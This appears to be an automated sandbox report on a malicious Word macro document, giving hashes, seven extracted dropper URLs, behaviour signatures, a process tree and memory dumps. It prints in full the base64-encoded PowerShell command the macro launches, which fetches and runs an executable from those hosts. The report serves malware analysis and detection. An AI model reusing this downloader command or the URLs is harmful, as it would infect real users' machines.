Analysis

  • max time kernel
    119s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    25/05/2024, 02:00

General

  • Target

    7083d798630e18659547b928516b8808_JaffaCakes118.doc

  • Size

    188KB

  • MD5

    7083d798630e18659547b928516b8808

  • SHA1

    142a1f117a215170a9e0856b32d957e541d6048e

  • SHA256

    4fc07945a17ff1e3422b0c95992fa2750006aeb21b1e886f0c2876d4ef69a14b

  • SHA512

    9744f4817a5873abf28c5a2782a0aa2266547430b4c6338ed965ae3a7e4b33cda091a6f41faf9ae59b7746f5d53a84684b91dab6b6680e8cd7ea021d8fb710a1

  • SSDEEP

    1536:RGGGGGGGGGG2xJLEt+LaaGGGGGGGGGGjLo9xilATmd8YkYeT/EA8sap8cjufajnt:vrfrzOH98ipgTh5TYL

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://dtyl.shop/wp-content/W68Nx/

exe.dropper

https://star-speed.vip/wp-admin/U2jRIg/

exe.dropper

https://cshub123.cn/wp-admin/Gajs/

exe.dropper

https://viettellogistics.com.vn/wp-content/oS4/

exe.dropper

http://cococat.se/wp-admin/2Oaf/

exe.dropper

http://andresirjan.ir/wp-admin/JSH/

exe.dropper

https://sptrade.com.br/wp-includes/iFZOvL/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7083d798630e18659547b928516b8808_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2908
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:944
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABDADIAdgBhAGkAagA1AD0AKAAoACcAUAAnACsAJwBjAHUAJwApACsAJwB1ACcAKwAoACcAdAAnACsAJwByAHUAJwApACkAOwAuACgAJwBuAGUAdwAtACcAKwAnAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AdgA6AFUAcwBFAFIAcABSAG8ARgBJAEwARQBcAEgAWQAzAHkAdAAzAGkAXABTADgASwA0ADkAdQBtAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQBSAGUAYwB0AE8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBDAFUAYABSAEkAdABgAFkAUAByAG8AYABUAG8AYwBvAEwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAnACkAKwAoACcAMQAyACwAIAB0ACcAKwAnAGwAcwAnACkAKwAoACcAMQAnACsAJwAxACwAJwApACsAKAAnACAAdAAnACsAJwBsACcAKQArACcAcwAnACkAOwAkAFMAawB5AHEANwBoAG0AIAA9ACAAKAAnAFgAMgAnACsAKAAnADgAJwArACcAegAwADMAJwApACsAJwAxAGQAJwApADsAJABZAHQAaAB4AGIAcgBmAD0AKAAoACcATwAnACsAJwBuAGUAJwApACsAKAAnAHcAJwArACcAbQA5ACcAKQArACcAYgAnACkAOwAkAFcAZABhAGkAZAA4ADYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwB3ACcAKwAnAHYATwAnACkAKwAoACcASAB5ADMAJwArACcAeQB0ACcAKQArACgAJwAzAGkAJwArACcAdwB2ACcAKQArACgAJwBPACcAKwAnAFMAOAAnACkAKwAoACcAawA0ACcAKwAnADkAJwApACsAKAAnAHUAbQAnACsAJwB3ACcAKQArACcAdgBPACcAKQAuACIAUgBlAHAATABhAGAAQwBlACIAKAAoACcAdwAnACsAJwB2AE8AJwApACwAWwBzAHQAcgBJAG4AZwBdAFsAYwBoAGEAUgBdADkAMgApACkAKwAkAFMAawB5AHEANwBoAG0AKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABOAGIAcQBpAHkAdABpAD0AKAAnAFQAJwArACgAJwA4ACcAKwAnAGgAeQB4AGcAJwApACsAJwBtACcAKQA7ACQAVwB0ADAAcgBlAGkAcwA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAFQALgB3AEUAYgBjAEwAaQBlAE4AdAA7ACQARQBxAHEAagA1AGgAOQA9ACgAKAAnAGgAdAAnACsAJwB0ACcAKQArACcAcAA6ACcAKwAoACcALwAvAGQAJwArACcAdAB5ACcAKQArACgAJwBsAC4AcwBoAG8AcAAvAHcAJwArACcAcAAtACcAKwAnAGMAbwBuAHQAZQBuACcAKwAnAHQALwBXADYAOAAnACkAKwAoACcATgB4ACcAKwAnAC8AKgBoAHQAdAAnACkAKwAnAHAAJwArACcAcwAnACsAKAAnADoALwAvAHMAJwArACcAdABhAHIAJwArACcALQAnACkAKwAnAHMAJwArACgAJwBwACcAKwAnAGUAZQBkAC4AJwArACcAdgBpACcAKQArACcAcAAnACsAJwAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGEAJwArACcAZAAnACsAJwBtAGkAbgAvAFUAJwArACcAMgAnACsAJwBqAFIASQBnAC8AJwApACsAKAAnACoAaAAnACsAJwB0ACcAKQArACcAdABwACcAKwAoACcAcwA6ACcAKwAnAC8ALwAnACkAKwAnAGMAJwArACgAJwBzAGgAdQAnACsAJwBiADEAJwApACsAKAAnADIAMwAnACsAJwAuAGMAbgAvACcAKwAnAHcAcAAtACcAKQArACcAYQAnACsAKAAnAGQAbQBpAG4ALwBHACcAKwAnAGEAJwArACcAagBzACcAKQArACcALwAqACcAKwAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAoACcAcwA6AC8AJwArACcALwAnACkAKwAoACcAdgBpAGUAdAB0AGUAbABsACcAKwAnAG8AJwArACcAZwBpAHMAdABpACcAKQArACcAYwBzACcAKwAoACcALgBjACcAKwAnAG8AJwArACcAbQAuAHYAJwApACsAJwBuAC8AJwArACcAdwAnACsAKAAnAHAAJwArACcALQAnACsAJwBjAG8AbgB0AGUAbgB0ACcAKQArACgAJwAvAG8AUwA0ACcAKwAnAC8AJwApACsAKAAnACoAaAB0AHQAcAA6AC8ALwBjAG8AJwArACcAYwAnACsAJwBvACcAKQArACgAJwBjAGEAJwArACcAdAAuAHMAZQAvACcAKQArACgAJwB3ACcAKwAnAHAALQAnACkAKwAoACcAYQAnACsAJwBkAG0AJwApACsAKAAnAGkAbgAvADIAJwArACcATwAnACkAKwAnAGEAJwArACgAJwBmACcAKwAnAC8AKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcAA6AC8ALwAnACsAJwBhACcAKQArACgAJwBuAGQAJwArACcAcgAnACkAKwAoACcAZQAnACsAJwBzAGkAJwApACsAKAAnAHIAagBhAG4ALgAnACsAJwBpACcAKQArACgAJwByAC8AdwAnACsAJwBwACcAKQArACcALQAnACsAKAAnAGEAZABtAGkAbgAnACsAJwAvACcAKwAnAEoAUwBIACcAKwAnAC8AKgAnACsAJwBoAHQAJwApACsAJwB0ACcAKwAoACcAcABzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBzAHAAdAByAGEAZAAnACsAJwBlACcAKQArACgAJwAuAGMAbwAnACsAJwBtACcAKQArACcALgBiACcAKwAoACcAcgAvAHcAcAAnACsAJwAtACcAKQArACcAaQAnACsAJwBuACcAKwAnAGMAJwArACgAJwBsAHUAZABlAHMALwAnACsAJwBpAEYAJwArACcAWgBPAHYATAAnACkAKwAnAC8AJwApAC4AIgBzAFAAYABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE0AZQBrADEAeAB3AHUAPQAoACgAJwBLAHcAJwArACcAXwBlACcAKQArACcAcAAnACsAJwA5AHUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVABpADgAaABuADEAcAAgAGkAbgAgACQARQBxAHEAagA1AGgAOQApAHsAdAByAHkAewAkAFcAdAAwAHIAZQBpAHMALgAiAGQAYABvAHcAYABOAGwATwBhAEQAZgBgAEkAbABFACIAKAAkAFQAaQA4AGgAbgAxAHAALAAgACQAVwBkAGEAaQBkADgANgApADsAJABXADYAcAAxAGoANwBoAD0AKAAoACcASAA1ACcAKwAnADgAZQAnACkAKwAoACcAagByACcAKwAnAGwAJwApACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQAVwBkAGEAaQBkADgANgApAC4AIgBMAGUATgBgAEcAdABoACIAIAAtAGcAZQAgADIANwAxADkANAApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtAEkAJwArACcAdABlAG0AJwApACgAJABXAGQAYQBpAGQAOAA2ACkAOwAkAEMAZQBoAHkAbABoADkAPQAoACcAVwA1ACcAKwAoACcAYwB1AGQAJwArACcAMAA0ACcAKQApADsAYgByAGUAYQBrADsAJABLADQAMwAzAHgANAB3AD0AKAAoACcAVwBxACcAKwAnADUAJwApACsAJwAxACcAKwAoACcAcAAnACsAJwBtADkAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAZQBsADQAbQBlAHQAPQAoACgAJwBNACcAKwAnAGkAbwAnACkAKwAnAGMAJwArACgAJwBmACcAKwAnADcAaAAnACkAKQA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2432

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

            Filesize

            20KB

            MD5

            dffd0a74fa5520e4af0ad808ea2f21de

            SHA1

            3c3627cce576861328cfdf5ab36c707f1e278483

            SHA256

            dce626708365b8713cd429074509af131b488b9dba907e594db8ec91e465d6a7

            SHA512

            d530ad09e8fd2e0c79e2471c3dd35087d9475b9194704d65614779fba4d5ef7e391708b42b3f62735ebb1251c3f046b7c7021d5c099435dfb421fd3f6de14854

          • memory/2432-40-0x000000001B2C0000-0x000000001B5A2000-memory.dmp

            Filesize

            2.9MB

          • memory/2432-41-0x0000000002410000-0x0000000002418000-memory.dmp

            Filesize

            32KB

          • memory/2908-27-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-25-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-8-0x0000000005CE0000-0x0000000005DE0000-memory.dmp

            Filesize

            1024KB

          • memory/2908-10-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-13-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-11-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-14-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-12-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-19-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-24-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-18-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-21-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-20-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-17-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-16-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-15-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-9-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-0-0x000000002F5F1000-0x000000002F5F2000-memory.dmp

            Filesize

            4KB

          • memory/2908-6-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-26-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-23-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-28-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-29-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-33-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-32-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-31-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-30-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-35-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-7-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-2-0x0000000070ADD000-0x0000000070AE8000-memory.dmp

            Filesize

            44KB

          • memory/2908-46-0x0000000070ADD000-0x0000000070AE8000-memory.dmp

            Filesize

            44KB

          • memory/2908-47-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-49-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-50-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2908-70-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2908-72-0x0000000000530000-0x0000000000630000-memory.dmp

            Filesize

            1024KB

          • memory/2908-71-0x0000000070ADD000-0x0000000070AE8000-memory.dmp

            Filesize

            44KB